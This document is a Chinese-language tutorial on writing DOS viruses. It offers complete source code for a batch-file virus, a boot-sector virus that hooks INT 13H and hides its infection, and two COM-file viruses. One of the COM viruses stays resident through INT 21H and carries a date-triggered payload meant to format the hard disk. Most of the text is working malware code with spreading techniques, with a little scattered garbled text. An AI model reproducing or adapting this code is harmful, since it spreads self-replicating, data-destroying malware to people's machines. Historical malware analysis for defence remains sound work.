第1章 假想的病毒程序
假如您对病毒的了解象人们对尼斯湖怪的了解一样少,那么读了下面的程序,你会发现怪? 一个批处理病毒 你第一次用批处理编程序是在几年前?你是否想象过下面的批处理也是一个病毒? @ECHO OFF REM 文件名 VIRUS.BAT REM 本病毒感染自动执行批处理文件 IF DRIVE=="A:\" GOTO END123 IF DRIVE=="C:\" GOTO END123 IF %COMSPEC%=="C:\COMMAND.COM" SET DRIVE=A:\ IF %COMSPEC%=="A:\COMMAND.COM" SET DRIVE=C:\ IF NOT EXIST %DRIVE%AUTOEXEC.BAT GOTO END123 COPY VIRUS.BAT %DRIVE%>NUL ECHO CALL VIRUS>TMP.DAT COPY %DRIVE%AUTOEXEC.BAT+TMP.DAT>NUL DEL TMP.DAT>NUL : END123 ECHO ON
第2章 学会编写自己的病毒程序
教授如何编写病毒是一个很敏感的话题。这会不会引起病 泛滥?到底有 有学 习编写病毒的必要?这就牵涉到一个问题,引起病 痉豪牡脑 因到底是什么?是 因为会编写病毒的人太多还是因为懂得对付病毒的人太少?当骗子到处横行,我 们到底应该让每个人都懂得骗子行骗的手段以防止受骗还是应该隐瞒骗子的行径 呢?使人们懂法是否是教唆人们违法呢? 怎样编写主引导记录和BOOT区病毒 什么是主引导记录?主引导记录存放在何处?主引导记录是用来装载硬盘活动分 区的BOOT扇区的程序。主引导记录存放于硬盘0道0柱面1扇区,长度最大为一个 扇区。从硬盘启动时,BIOS引导程序将主引导记录装载至0:7C00H处,然后将控 制权交给主引导记录。 一般的,BOOT区病毒存在于软盘。因为软盘不存在分区,可以将其看成为软盘的 主引导记录。软盘的BOOT区存在于其0道0面1扇区,长度为一个扇区。 一般的主引导记录病毒的原理。 一般的,这类病毒是把原来的主引导记录保存后用自己的程序替代掉原来的主引
导记录。启动时,当病毒体得到控制权,在做完了自己的处理后,病毒将保存的 原主引导记录读入0:7C00,然后将控制权交给原主引导记录进行启动。这类病毒 对硬盘的感染一般是在用带毒软盘启动的时候,对软盘的感染一般是在当系统带 毒时对软盘操作时。 编写主引导记录病毒需要了解的几点 1、用什么来保存原始主引导记录。 众所周知的,文件型病毒用以保存被感染修改的部分是文件。引导型病毒是否也 可以使用文件存储被覆盖的引导记录呢?答案是否定的。 由于主引导记录病毒先于操作系统执行,因而不能使用操作系统的功能调用,而 只能使用BIOS的功能调用或者使用直接的IO设计。一般的,使用BIOS的磁盘服务 将主引导记录保存于绝对的扇区内。由于零道零面二扇区是保留扇区,因而通常 使用它来保存。 2、需要掌握的BIOS磁盘服务功能调用。 INT 13H 子功能 02H 读扇区 其调用方法为: 入口为: AH=02H AL=读入的扇区数 CH=磁道号 CL=扇区号(从1开始) DH=头号 DL=物理驱动器号
ES:BX-->要填充的缓冲区 返回为: 当CF置位时表示调用失败 AH=状态 AL=实际读入的扇区数 INT 13H 子功能03H写扇区 其调用方法为: 入口为: AH=03H AL=写入的扇区数 CH=磁道号 CL=扇区号(从1开始) DH=头号 DL=物理驱动器号 ES:BX-->缓冲区 返回为: 当CF置位时表示调用失败 AH=状态 AL=实际写入的扇区数 3。这类病毒通过什么来进行感染 通常的,这类病毒通过截获中断向量INT 13H 进行系统监控。当存在有关于软盘或硬盘 的磁潭列词保?病毒将检测其是否干净,若尚未感染则感染之。 4。驻留的位置 位置在40H:13H,单位为KB。病毒体存在于最后的几K内存中。 一个主引导记录病毒例子
int13 macro pushf Call dword Ptr cs:Old13H endm jmp13 macro Jmp dword Ptr cs:Old13h endm .286 code segment assume cs:code,ds:code Org 100h start: org 7c00h ;start: jmp short begin db 20h dup (0) db 'WN' begin: xor ax,ax xor ax,ax Mov es,ax Push Word Ptr es:[13h*4] Pop Word Ptr cs:Old13h Push Word Ptr es:[13h*4+2] Pop Word Ptr cs:Old13h+2 mov ah,04h int 1ah cmp dl,5 jne datenot1 cmp dh,12h jne datenot1 call printmsg datenot1: push cs pop ds mov ax,40h mov es,ax dec word ptr es:[13h] ;减少基本内存1K mov ax,es:[13h] mov cl,6 ;2&10 /2&4 shl ax,cl ;得到段址 mov es,ax mov es,ax mov cx,200h ;512 bytes a sector mov si,7c00h ;The begin offet mov di,0 cld rep movsb Mov ax,es Sub ax,7c0H Push ax Mov ax,Offset TheNextCommand Push ax mov ax,es sub ax,7c0h ;The segment of the president mov es,ax mov bx,0 mov ds,bx mov word ptr ds:[13h*4],offset newint13h mov word ptr ds:[13h*4+2],ax RetF Old13h dd ? TheNextCommand: mov ax,0201h mov cx,2 mov cx,2 Cmp cs:TheDrive,80h Je Hardisk mov cx,4f0fh ;If is the floppy disk Hardisk: mov dh,0 Mov dl,cs:TheDrive ;The drive is 0 or 80h Mov bx,0 Mov es,bx Mov bx,7c00H int13 Mov ax,0 Push ax Mov ax,7c00h Push ax RetF newint13h: cmp ax,0201h je Isreadsector Jmp13 IsReadSector: cmp cx,1 jne notreadsector cmp dh,0 jne notreadsector Call Readsector Jne gotoEnd ;Cmp dl,cs:TheDrive ;Jne NotReadSector ;If the DISK is the boot disk push cx mov cx,2 Cmp dl,80h Jae HardRead mov cx,4f0fh HardRead: int13 ;制造未感染假象 pop cx RetF 2 notreadsector: call readsector je effected call effect effected: gotoEnd: jmp13 jmp13 readsector: pusha mov ax,0201h mov dh,0 mov cx,1 int13 ;Use the read buffer as the old buffer cmp word ptr es:[bx+20h+2],'NW' popa retn effect: pusha mov ax,0301h mov dh,0 mov cx,2 Cmp dl,80h Jae Hardeffect mov cx,4f0fh Hardeffect: int13 ;Backup the old boot record Mov SI,BX Add SI,1b0h Push ES Push ES Pop DS Push cs Pop ES Mov DI,7C00H+1b0H Mov Cx,50h CLD REP MovSB Mov SI,BX add SI,2 Mov DI,7c00H+2 Mov Cx,20h Cld Rep movsb mov ax,0301h mov cx,1 mov dh,0 push cs pop es Push ax Mov al,cs:TheDrive Mov cs:TheDriveSave,Al ;Backup theDrive Pop ax Pop ax Mov cs:TheDrive,DL And cs:TheDrive,0FEH ;Set the 0 bit to zero mov bx,7c00h int13 ;Write The Virus to sector 1 Mov al,cs:TheDriveSave Mov cs:TheDrive,al ;Restore TheDrive popa retn printmsg Proc Near mov si,offset msg push cs pop ds mov ah,0eh cld printgoon: lodsb cmp al,0 je printend int 10h jmp printgoon printend: jmp $ jmp $ msg db 'Don''t work today.',0 TheDrive db 80h TheDriveSave db ? org 7dfeh db 55h,0aah PrintMsg endp code ends end start {这个程序用来处理以上病毒程序,使其成为一个256字节的从7C00H开始的二进制文件} Program C2V; Var F,F1:File of char; CH:Char; Begin assign(F,paramstr(1)); Reset(F); Assign(F1,Paramstr(2)); Rewrite(F1); seek(F,$7B00); While Not Eof(F) do Begin Read(F,CH); Read(F,CH); Write(F1,CH); end; Close(F); Close(F1); End. .title INFECT.ASM Comment~ 本程序是用来 原始感染 ~ Code segment assume cs:code,ds:code org 100h start: mov ax,0201h Mov Bx,Offset TheBuf mov cx,1 Mov dx,80H Int 13h Mov ax,0301h Mov CX,2 Int 13h Mov ax,3d00h Mov ax,3d00h Mov Dx,Offset FileName Int 21h Jnc @@1 mov dx,offset OpenError mov ah,9 int 21h mov ah,4ch int 21h @@1: Mov Handle,ax Mov Bx,ax Mov ah,3fh mov cx,512 mov dx,Offset fileBuf Int 21h Mov Di,Offset FileBuf+2 Mov SI,Offset TheBuf+2 Cld Mov Cx,20h Rep Movsb Mov Di,Offset FileBuf+1b0h Mov Si,Offset TheBuf+1b0h Mov cx,50h Cld Rep movsb Mov Bx,Offset FileBuf Mov Cx,1 Mov dx,80h Mov ax,0301h int 13h
Mov Bx,Handle Mov ah,3eh Int 21h mov ah,4ch int 21h TheBuf db 512 dup (0) FILEBuf db 512 dup (0) Handle dw 0 OpenError db 'The file Viru.bin not found!',07h,0dh,0ah,'$' filename db 'Viru.bin',0 code ends end start
怎样编写可执行文件型病毒
可执行文件型病毒是DOS病毒中的大家族,也是病毒编写专家们用以炫耀自己的聪 明才智的时候。感染处理千奇百怪,传染方案数不胜数,不亚于春秋战国时期的诸子 百家争鸣,病毒大概是"病毒安全专家们"编出来的吧。理由有一:安全专家们靠处理病毒为生,有编写的能力;二:安全专家们自己会编写病毒,却极力反对别人学习病毒,免得饭碗被抢,有编写病毒的嫌疑。下面让我们来看看可执行文件病毒的编程方法,其简单程度可以让 用晒 骗的病毒专家们汗颜。我编写的最小的文件型病毒大约只有100多行汇编代码,如果我象某些杀毒专家一样,按照平均30分钟一个病毒,恐怕这几年我要成为最大的杀毒英雄了。可执行文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说的可执行文件病毒,源码病毒,甚至我们入门举的BAT病毒和现在流行的WORD宏病毒,下面我们所述的只包括狭义的可执行文件病毒-----即COM型和EXE型病毒。 编写COM型病毒和EXE型病毒非常地简单,我们先来了解COM文件和EXE文件的结构吧。
如何修改可执行文件? COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时内存影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。运行我们的DEBUG程序,我们先来做一个练习。我们拿DOS6.22西文版中的more.com来做实验。
C:\>debug more.com -u -u 0CA4:0100 B8371E MOV AX,1E37 ;注意前三个字节的内容 0CA4:0103 BA3008 MOV DX,0830 0CA4:0106 3BC4 CMP AX,SP 0CA4:0108 7369 JNB 0173 0CA4:010A 8BC4 MOV AX,SP 0CA4:010C 2D4403 SUB AX,0344 0CA4:010F 90 NOP 0CA4:0110 25F0FF AND AX,FFF0 0CA4:0113 8BF8 MOV DI,AX 0CA4:0115 B9A200 MOV CX,00A2 0CA4:0118 90 NOP 0CA4:0119 BE7E01 MOV SI,017E 0CA4:011C FC CLD 0CA4:011D F3 REPZ 0CA4:011E A5 MOVSW 0CA4:011F 8BD8 MOV BX,AX -r AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000 DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100 NV UP EI PL NZ NA PO NC 0CA4:0100 B8371E MOV AX,1E37 -a af1 0CA4:0AF1 mov ah,0 0CA4:0AF3 int 16 ;等待按键 0CA4:0AF5 cmp al,1b ;等待ESC键 0CA4:0AF7 jnz af1 0CA4:0AF9 mov word ptr [100],37b8 ;恢复程序开始的三个字节 0CA4:0AFF mov byte ptr [102],1e 0CA4:0B04 push cs ;进栈CS:100 0CA4:0B05 mov si,100 0CA4:0B08 push si 0CA4:0B09 retf ;RetF回到CS:100,程序开始处 0CA4:0B0A -a 100 0CA4:0100 jmp af1 ;将程序开头改成跳转到修改的模块 0CA4:0103 -rcx CX 09F1 :a0a -w Writing 00A0A bytes -q 修改完了,我们来执行一下more,发现什么没有?哈哈,如果不按ESC键程序无法执行,流程很简单: 1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。 2、最先执行添加的程序(相当于病毒模块),等待ESC键 3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序) 好了,大家如果能看懂上面这段话,那你离编写自己的COM病毒将不会很远了。
EXE文件是一种多段的结构,属于DOS最成功和复杂的设计之一。 要了解EXE文件,首先需要了EXE的文件头结构。 (大家先去wenyue.yeah.net下载一份HELPSTAR吧。上面有许多有关的东西。) Exe file header format Offset size Description 00 2 bytes .EXE Type Flag,4d5ah 02 2 bytes Bytes in the last page(512 bytes/page) 04 2 bytes pages of the .EXE file(Include exeheader) 06 2 bytes ReAllocation number 08 2 bytes Exeheader size(16 bytes*this value) 0a 2 bytes MinAlloc 0c 2 bytes MaxAlloc 0e 2 bytes The init stack segment 10 2 bytes The int stack pointer 12 2 bytes Checksum 14 2 bytes Code pointer 16 2 bytes Code segment 18 2 bytes The offset of reallocation table 1a 2 bytes The overlay number make by link 聪明的人应该一眼就能分辨出我们最感兴趣的部分了,偏移14和16,这两个东东简直太重要了。它们表示了程序的执行代码入口地址。 DOS对EXE采取重定位的方法,重定位在很多DOS高级编程的书上都会提到,假使你还没有了解,我来打个比方:我比小明高5公分。那么小明如果170CM,那么我有175CM,如果小明180CM,我有185CM。Code segment就是这个5公分。DOS下面可以加载很多TSR或者驱动程序,我们无法知道一个程序被加载的开始段值,但是我们却可以知道一个EXE程序的执行入口的开始段值比加载的第一个段值大多少。DOS就是通过这种简单的加减法来对付EXE的多段模式的。现在我们知道了EXE文件的开始执行代码是从加载初始地址+Code segment:Code pointer。 还有一个我们很感兴趣的东西是偏移为8的Exeheader Size。这对病毒修改EXE文件很有用,可以用来确定EXE文件的代码开始处(代码开始处之前是Exeheader)。 那么我们可以这样来修改一个EXE文件: 把EXE文件的最后先填满16个字节(为了段对齐),把自己的程序段加到最后,并且保存EXE头中的14h和16h偏移的数值,把EXE头中的14h的数值改成100H,16的值改成(EXEFILESIZE+15) div 16 -ExeheaderSize -16 (-16的原因是100H=16*16)好了,自己做个实验吧,在执行完这段代码的时候记得返回到PSP+OldSeg :OldIP。
如何进行病毒的传播?
一个病毒如果不能传播,那就不成为病毒,我们叫做木马,就象上面我们修改成的MORE。COM。怎样传播的这个问题其实就是把手工传播的方法编写成程序,让其自己进行感染。这个模块的编写比较费时间,但是无非是一些文件读写操作,大家自己可以慢慢地调试,慢慢地写。
病毒传播的途径 传播模块编写好了,现在该看哪时候应该传播,怎么样传播才会不被发觉,怎么样传播才能得到最大的传播效率。 现在文件型病毒基本上有如下传播方式: 1, 通过查目录进行传播。 截获INT 21H 功能的11H和12H。 这样DIR的时候你就可以获得控制权了。 2, 通过执行进行传播。 截获INT 21H 4B子功能。 这样每个可执行文件在执行的时候都逃不过你的眼睛。 3, 通过文件查找进行传播。 截获INT 21H 4E,4F子功能。 这样有人使用象TC,TP等编程工具查找文件的时候逃不过你的眼睛。 4, 通过文件关闭的时候进行传播。 即使你现在正在编译,当执行文件生成后关闭的时候也可以感染。 5,自己加载的时候 。。。。。。。 总之,传播方式多种多样,叫人难以防备,至于采取哪种方法,这是你自己的本事了。
病毒的破坏部分 这个问题似乎不应该探讨,但我想还是有必要谈谈。 一个病毒破坏能力大,是不是就算一个好病毒?我想一运行就格式化的病毒永远都流传不了,因为它根本就无法流传。病毒的发作基本都有其条件,传统的通过判断时间来发作。这不一定是一种好办法,我想这种病毒几乎没有任何危害,除非编写的病毒技巧不高,往往还没有到发作的时间,很多被感染的文件就已经被感染坏了而不能执行。现在哪会有一种病毒会出现到感染之前还没有杀毒软件呢?所以有很多种病毒采用不断地破坏的方法,例如当前的时间日期求个和,作为要破坏的目标判断标志。。。。当然这和病毒的 长度有矛盾,算法越复杂,病毒越大,也越容易被发现。 病毒的编程就先介绍到这里了。 下面我给出我自己编写的两个COM病毒的例子(和一般的不同,病毒感染在程序前面)和一个可执行文件(EXE,COM)保护程序(防感染程序),后一个虽然不是病毒,但是却也属于病毒范畴。两个COM类型的病毒中有一个比较大,属于真正的病毒类,通过DIR进行感染,另外一个则只有120行,却也五脏具全,每次执行的时候感染,大家可以借鉴一下。
下面该是大家读懂例子,练兵的时候啦。如果有不懂的地方需要解答,我会尽力,如果大家对我写得这么仓卒而不满意,我可以花点时间整理今后再继续
一个最小的病毒程序
不驻留内存 每次执行的时候感染当前目录的COM文件 Macro:Pmain,Pend,Pushall,Popall见另外一个例子 这只是一个模拟病毒程序 在两个COM类型的病毒例子中我都采用感染在 前面的方法,然而真实的病毒大部分采用 附加在后面的办法 附加在后面有两种处理方式 一种是修改前三个字节直接JMP 到病毒程序 这样OFFSET都发生了变化 例如本来在病毒程序中的100H 可能变成1112H,等等 你的程序需要做如下改动: 把宿主程序的长度作为相对偏移放入BX中 每次访问数据采用这种形式mov ax,mybuf[BX] 当然第一次感染的时候BX为0 或者你可以采用段对齐的办法 修改宿主的前几个字节为 Mov ax,cs Add ax,(SUZHULen+15)/16 -16 Push ax Mov ax,100h Push ax Retf 这样你可以使得你的病毒程序入口依然保持在100H 但是既然只是演示病毒的编写方法, 我们的目的只是让大家认识病毒为何物, 取消对病毒的畏惧,并且讨论病毒的杀除办法 所以我的病毒例子并不计较太多的方法。 ~ Include stdio.h Include PushPop.asm Pmain db 0EBH,00 ;病毒感染标志,JMP 102 Mov ah,9 Mov Dx,Offset MSG Int 21h ;发作部分,显示信息 Push SaveSize Pop SaveSize_ ;保存上次保存的部分 Mov ah,1ah Mov ah,1ah Push cs Pop ds Mov Dx,Offset DTABUF Int 21H ;设置DTA的指针 Mov ah,4eh Mov Cx,4fh Mov Dx,Offset FindName Int 21h ;开始查找COM文件 NextFind: JC SearchEnd Mov Dx,Offset DTABUF+30 Mov ax,3d02h Int 21h ;DTABUF+30为查找出的文件名存贮位置 JC SearchEnd_ Mov FileHandle,AX Call Effect ;感染 SearchEnd_: Push cs Pop ds Mov ah,4fh Int 21h JMP NEXTFIND JMP NEXTFIND SearchEnd: Mov ah,1ah Push cs Pop ds Mov Dx,80h Int 21h ;设回DTA的指针 Mov SI,SAVESIZE_ ADD SI,100h Mov DI,100H ;把保存的宿主代码移动到100H Push cs Pop ds Push cs Pop es Mov ax,100h Push ax CLD Mov Cx,Offset EndFile-100H Rep Movsb Retn Effect Proc Near ;病毒感染程序与另外一个例子类似 Pushall ;不再注释 Push cs Push cs Pop ds Mov BX,FileHandle Mov CX,Offset EndFile-100H Mov AX,9000H Mov DS,AX Mov Dx,0 Mov ah,3fh Int 21h Cmp Word Ptr DS:[0],00EBH JNZ NotEFFECT Mov ah,3eh Mov Bx,cs:FileHandle Int 21h Popall Ret NOTEFFECT: Push cs Pop ds Mov Bx,FileHandle Mov ax,4202h Mov Cx,0 Mov Dx,0 Mov Dx,0 Int 21h Mov SAVESIZE,AX Mov Bx,FileHandle Mov ah,40h Mov Cx,Offset EndFile-100h Mov Dx,0 Mov Bx,9000H Mov DS,BX Mov Bx,cs:FileHandle Int 21h Push cs Pop ds Mov AX,4200h Mov Cx,0 Mov Dx,0 Mov BX,FileHandle Int 21h Mov ah,40h Mov CX,Offset EndOfFile-100h Mov DX,100h Mov Bx,FileHandle Int 21h Int 21h Mov ah,3eh Mov Bx,FileHandle Int 21h Popall Ret Effect Endp FindName db '*.COM',0 FileHandle dw 0 DTABUF db 80h dup (0) SAVESIZE dw EndOfFile-100h SaveSize_ dw 0 MSG db 'Hello,are you tire ?Good luck to you!',0dh,0ah,'$'
EndOffile: ENDfile: Mov ax,4c00h Int 21h Pend
编写的第一个病毒
,当然我没有拿出去感染。(这是很重要的:)) 这个病毒的历史应该有五年之久了,所以编写地水平应该说是很低我把它保持原样,作为一个纪念,也作为病毒新手的一个范例。 这个病毒通过截获Int 21H的11H,12H子功能进行感染,11h,12h是FCB方式的Findfirst,findnext同时截获4E,4F(FINDFIRST,FINDNEXT)感染病毒发作于1月19日,发作方式为格式化硬盘(但是好象当年编写错了,不能破坏现在的微机:))病毒的感染方法是将COM文件的前面的一段(长度为病毒的长度)挪至末尾,然后把病毒本身覆盖于宿主前面所有注释都是为大家新加的,我写ASM以前没有注释的习惯 请在MASM5下编译 ~ ;Include stdio.h ;中间包括pmain,pend,retms retms macro mov ax,4c00h Int 21h Endm pmain macro code segment assume cs:code,ds:code org 100h start: endM pend macro code ends end start endM theSize equ offset endit-100h ;病毒的长度=最后的偏移减去PSP的长度 addnum equ thesize+200 wpt equ word ptr bpt equ byte ptr filebufofs equ offset endit + 100 Stackofs equ offset endit GetDta macro ;这个Macro得到DTA的指针 mov ah,2fh int 21h ;FCB方式的很多东西都保存在DTA中间。 push es pop ds push bx pop si pop si EndM pushAll macro ;保存寄存器的MACRO Irp reg, PUSH REG ENDM
POPALL MACRO ;恢复寄存器的MACRO iRP REG, POP REG ENDM
;如果大家想省点空间,使用.286 ,把这两个Macro改成Pusha & Popa Dta Struc ;Data transfer Area的结构,对于感染而言可以得到文件名 reServed db 21 dup(?) Attr db ? Time dw ? Date dw ? fileSize dd ? filename db 13 dup (?) FreeName db ?,?,? Dta ends pmain Jmp begin thebegin dw offset endit begin: mov ax,0ffeeh ;这是我的病毒驻留标志判断 int 21h cmp ax,0eeffh ;返回为0EEFF表示已经驻留 je installed mov cs:ShowFlag,-1 mov ah,2ah ;看看当前日期 int 21h cmp dl,19 ;19号? jne next cmp dh,1 ;1月? jne NotformatHdisk mov cs:ShowFlag,0 NotformatHdisk: Call Show ;惨了,我要格式化硬盘了 Next: xor ax,ax mov es,ax mov ax,es:[21h*4+2] mov bx,es:[21h*4] mov wpt cs:old21+2,ax mov wpt cs:old21,bx ;保存老的INT 21H的中断向量 call getaddress ;把病毒代码移动到高端 mov ax,cs:addr mov bx,offset int21h cli xor cx,cx mov es,cx mov es:[21h*4],bx mov es:[21h*4+2],ax ;把INT 21H的控制权交给病毒 sti installed: mov ax,cs mov ds,ax mov es,ax mov si,thebegin mov di,100h mov cx,thesize ;恢复100H开始处被破坏的指令 cld rep movsb jmp Start ;跳转回100H,转宿主执行 ;注意:可能应该Push cs, ;Mov ax,100h,Push ax,retf DtaSave Dta <> ;保存DTA的缓冲区 addr dw ? Flag db 0 SaveSS dw ? SaveSP dw ? dtaSize equ 43 ;Dta的大小为43个字节 Handle dw ? ;将来用到的文件Handle NextFlag db ? getaddress proc near ;病毒驻留模块 mov ax,cs dec ax mov es,ax ;得到MCB (Memory Control Block)的段值 mov ax,es:[3] ;得到MCB的块大小 mov bx,offset endit ; add bx,addnum ; add bx,15 ; mov cl,4 ; shr bx,cl ; sub ax,bx ;把MCB的块大小减少(病毒的长度*2 + 200) mov es:[3],ax ;这样留出的空间给病毒程序和病毒读写的文件缓冲 mov bx,cs mov bx,cs add ax,bx mov cs:addr,ax mov es,ax ;得到病毒驻留空间的段值 xor si,si xor di,di push cs pop ds mov cx,offset endit cld rep movsb ;把病毒代码移到留出的空间位置 ret getaddress endp old21 dd ? int24h proc far mov al,0 mov cs:Flag24h,-1 ;防止出现严重错误 Iret Flag24h db 0 ;例如出现感染写保护出现的提示 int24h endp CH24h proc near ;替换INT 24H xor ax,ax mov es,ax mov es,ax mov ax,es:[24h*4] mov bx,es:[24h*4+2] mov wpt cs:old24,ax mov wpt cs:old24+2,bx mov bx,cs mov ax,offset int24h mov es:[24h*4],ax mov es:[24h*4+2],bx ret Ch24h endp Res24 proc near ;还原INT 24H xor ax,ax mov es,ax mov ax,wpt cs:old24 mov bx,wpt cs:old24+2 mov es:[24h*4],ax mov es:[24h*4+2],bx ret Res24 endp old24 dd ? int21h proc far ;感染监控核心部分,INT 21H处理 sti sti cmp ax,0ffeeh ;病毒驻留标志 jne next21h mov ax,0eeffh ;返回已经驻留 Iret next21h: cmp ah,4fh ;是FindNext吗? je findnext cmp ah,12h ;是FCB方式的FindNext吗? jne outInt21h mov bpt cs:NextFlag,0 ;NextFlag=0表示为FCB FindNext Jmp FindNext1 outInt21h: jmp cs:old21 findnext: mov cs:NextFlag,1 ;NextFlag=1表示为4F FinddNext findnext1: mov cs:Flag24h,0 ; mov cs:SaveSS,ss pushAll mov cs:SaveSP,SP ;保存SS,SP,然后切换堆栈 mov ds,cs:SaveSS ;保证DOS重入成功 mov si,sp mov si,sp mov ax,cs mov es,ax mov di,StackOfs cld mov cx,50 rep movsw ;保存50个字的堆栈,我的TSR经常使用 mov ax,cs mov ss,ax mov sp,100h ;切换堆栈 GetDTA ;DS:SI --> DTA adress ;得到DTA的指针 push cs pop es mov di,offset DTASave mov cx,DTASize cld rep movsb ;保存起DTA的数据 call ch24h ;修改INT24H,保障不出严重错误 cmp bpt cs:NextFlag,1 ;以4F方式的DTA为摸版 je NotCHangeDta call ChangeDta ;如果是标准DTA方式扩展成扩展DTA NotCHangeDta: call cmpifcomFile ;判断当前查的文件是否COM文件 cmp al,0 jne Hasbeen Call cmpifbeen ;是COM文件判断是否被感染 cmp al,0 jne Hasbeen cmp cs:Flag24h,-1 ;出现严重错误,放弃感染 je HasBeen ; Call dofile ;否则感染之 Hasbeen: call Res24 ;恢复INT24H cli push cs pop ds mov es,cs:SaveSS mov si,StackOfs mov di,cs:SaveSP cld mov cx,50 rep movsw ;恢复堆栈 mov ss,cs:SaveSS mov Sp,cs:SaveSp ;恢复堆栈寄存器 sti sti PopAll Jmp cs:old21 ;转原INT 21H处理程序 Int21h endp Cmpifcomfile proc near mov si,offset DtaSave.filename LoopCMp: cmp bpt cs:[si],0 je OutCmp inc si jmp loopCmp Outcmp: cmp bpt cs:[si-1],'M' jne notComfile cmp bpt cs:[si-2],'O' jne notComfile cmp bpt cs:[si-3],'C' jne notComfile cmp bpt cs:[si-4],'.' ;比较文件扩展名是否为.COM jne notComfile mov al,0 ret notComfile: notComfile: mov al,-1 ret Cmpifcomfile endp cmpifbeen proc near ;看是否已经被感染 push cs pop ds mov dx,offset DtaSave.filename mov ax,3d00h int 21h jc been mov cs:handle,ax mov ah,3fh mov bx,cs:handle mov cx,2 mov dx,FILEBUFOFS int 21h mov ah,3eh mov bx,cs:handle int 21h mov si,100h mov ax,ds:[si] mov si,FIleBufOfs mov bx,ds:[si] cmp ax,bx ;判断感染标志,(最前两字节) je Been mov al,0 ret been:mov al,-1 ret cmpifbeen endp Dofile proc near ;病毒感染模块,文件处理过程。 mov ax,4300h push cs pop ds mov dx,offset DtaSave.filename int 21h and cl,100111b mov DtaSave.attr,cl and cl,100b jnz Out1 ;Sys file mov ax,4301h mov dx,offset DTASave.filename mov cx,0 ;清除文件属性 int 21h jnc replaceOk Out1: Ret ReplaceOk: cmp cs:Flag24h,-1 ; je Out1 ; mov ax,3d02h ;读写方式打开文件 int 21h jc Out1 mov cs:handle,ax mov ah,3fh mov bx,cs:handle mov cx,thesize push cs pop ds mov dx,filebufOfs int 21h ;将最前一段(大小为病毒大小) jnc condowrite ;读出来 mov Dx,offset DtaSave.filename mov Cl,cs:dtaSave.Attr xor ch,ch mov Ax,4301h ;恢复文件属性 int 21h Ret Condowrite: mov ax,4202h mov bx,cs:handle xor cx,cx xor dx,dx int 21h ;移动文件指针到最后 add ax,100h mov cs:thebegin,ax mov dx,fileBufofs mov cx,theSize mov bx,cs:handle mov ah,40h int 21h ;把保存的宿主前面的代码写到 mov ax,4200h ;文件末尾 xor cx,cx xor dx,dx mov bx,cs:handle int 21h ;移动文件指针到最前 mov dx,100h mov ah,40h mov ah,40h mov cx,theSize mov bx,cs:handle int 21h ;把病毒体写入文件开头处 mov ah,3eh mov bx,cs:handle int 21h ;关闭文件 mov dx,offset DtaSave.filename xor ch,ch mov cl,cs:DtaSave.Attr mov ax,4301h int 21h ;恢复文件属性 mov al,0 ret Dofile endp CHangeDta proc near ;由于4F和12H方式DTA有差别 mov ah,cs:DtaSave.reserved+7 cmp ah,0 ;为了同等对待 jne NotCur ;把12H方式的DTA格式按 ;4FH方式转换 ;两种DTA方式的DTA格式请 ;参考我的HELPSTAR中的说明 push cs pop ds mov ah,19h int 21h mov ah,al Inc ah NotCur: add ah,'A'-1 mov cs:DtaSave.filename,ah mov ah,':' mov cs:dtaSave.filename+1,ah push cs pop ds mov si,offset DtaSave+1+7 push cs pop es mov di,offset DtaSave.filename+2 mov cx,8 cld LoopCh: lodsb cmp al,' ' je outLoopCh dec si movsb loop loopCh outLoopCh: mov al,'.' mov es:[di],al inc di mov si,offset DtaSave+9+7 mov cx,3 LoopCh1: lodsb cmp al,' ' je outLoopCh1 dec si movsb loop loopCh1 outLoopCh1: xor ah,ah mov es:[di],ah mov cs:dtaSave.Attr,ah Ret CHangeDta endp CHangeDta endp Show Proc near ;病毒发作模块 push cs pop ds mov Dx,offset ShowMsg mov ah,9 int 21h ;提示信息 Call form ;格式化程序 Ret Show endp ShowMsg db 07h,'My dear XLM:',0ah,0dh db ' Happy birthday and happy a new year !',0ah,0dh,0ah,0dh db ' Yours LEM .',0ah,0dh db 0ah,0dh,'$' ShowFlag db -1 form proc near jmp Star_1 format_msg db 0,0,0,2 ;0-39,0-1,0-8 db 0,1,1,2 db 0,0,2,2 db 0,1,3,2 db 0,0,4,2 db 0,1,5,2 db 0,1,5,2 db 0,0,6,2 db 0,1,7,2 db 0,0,8,2 star_1: mov ax,cs mov es,ax mov ds,ax mov bx,offset format_msg mov ah,5 mov al,0ffh mov dl,80h mov dh,0 mov cx,0 PushF db 9ah ;Call AbsInt13Adr dd 0f000CC78h ;INT 13的绝对地址 Ret ;去掉Ret则自动重启动 db 0EAH dd 0F000FFF0h ;重新启动 form endp Endit: retms ;返回DOS,对于第一次感染有用
pend

|